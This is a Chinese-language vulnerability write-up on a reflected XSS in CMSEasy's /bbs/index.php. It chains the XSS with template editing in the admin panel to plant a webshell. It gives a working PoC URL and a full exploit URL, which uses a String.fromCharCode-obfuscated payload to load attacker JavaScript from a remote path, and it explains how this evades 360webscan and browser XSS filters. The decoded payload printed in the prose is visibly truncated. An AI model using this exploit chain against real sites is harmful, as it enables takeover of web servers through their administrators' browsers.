cmseasy 反射型XSS无视浏览器filter无视360webscan

0x01 前台反射型XSS

RT,cmseasy后台是可以csrf getshell的。但我这里,就算以后cmseasy后台加token、验证referer,我也不怕了,反正是XSS,可以窃取token的,referer也是本站。

这个反射型XSS出在/bbs/index.php中,第4行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(E_ALL & ~E_NOTICE);
if($_GET['case'] == 'file'){
echo "<script>window.location.href='". str_replace('/bbs', '', $_SERVER['REQUEST_URI'])."';</script>";
}
require_once 'bbs_public.php';
$category = db_bbs_category::getInstance();
$category_data = $category->getAll('order by listorder asc');

$archive = db_bbs_archive::getInstance();

$label = db_bbs_label::getInstance();
$lable_data = $label->getAll();
$lable_data_arr = action_public::formatToIndex('lid',$lable_data);
?>

直接将$_SERVER['REQUEST_URI']输出在<script>标签中,导致的XSS。

先给个POC:http://localhost/easy/bbs/index.php/'+alert(1)+'/?case=file

01.jpg

但我的目的是直接getshell,光弹个框肯定不行。

getshell的话有两个难题:

  1. 需要一个后台getshell的方法
  2. getshell脚本较长,需要加载远程js

我们一个一个说吧。

0x02 后台Getshell

首先,cmseasy后台getshell比较简单,进入后台->模板->当前模板编辑->选择一个页面:

02.jpg

我选的footer.html,直接进去插入一句话:

03.jpg]

保存来到首页,发现下面已经变成phpinfo了:

04.jpg

0x03 利用XSS进行Getshell

加载远程js,我迷糊了一阵子,爱慕锅 和@/fd 帮我解决了这个难题:http://zone.wooyun.org/content/13478

详情我就不说了,直接给exp吧:

1
localhost/easy/bbs/index.php/'+eval(String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,119,105,110,100,111,119,46,111,110,101,114,114,111,114,61,102,117,110,99,116,105,111,110,40,97,114,103,41,123,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,115,114,102,47,99,109,115,101,97,115,121,46,106,115,62,60,92,47,115,99,114,105,112,116,62,39,41,125,59,116,104,114,111,119,40,49,41,59,125,41,40,41))+'/?case=file

其中String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,119,105,110,100,111,119,46,111,110,101,114,114,111,114,61,102,117,110,99,116,105,111,110,40,97,114,103,41,123,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,115,114,102,47,99,109,115,101,97,115,121,46,106,115,62,60,92,47,115,99,114,105,112,116,62,39,41,125,59,116,104,114,111,119,40,49,41,59,125,41,40,41)实际上就是(function(){window.onerror=function(arg){document.write('<\/script>')};throw(1);})()

加载远程js提交一下后台getshell的数据包即可,我就不演示了。

为什么可以无视360webscan?因为这个xss输出在index.php最上面,此时还没有包含360webscan.php,当然无视了。

为什么可以无视浏览器filter,因为输出在script标签中,一般的filter是拦截不了的。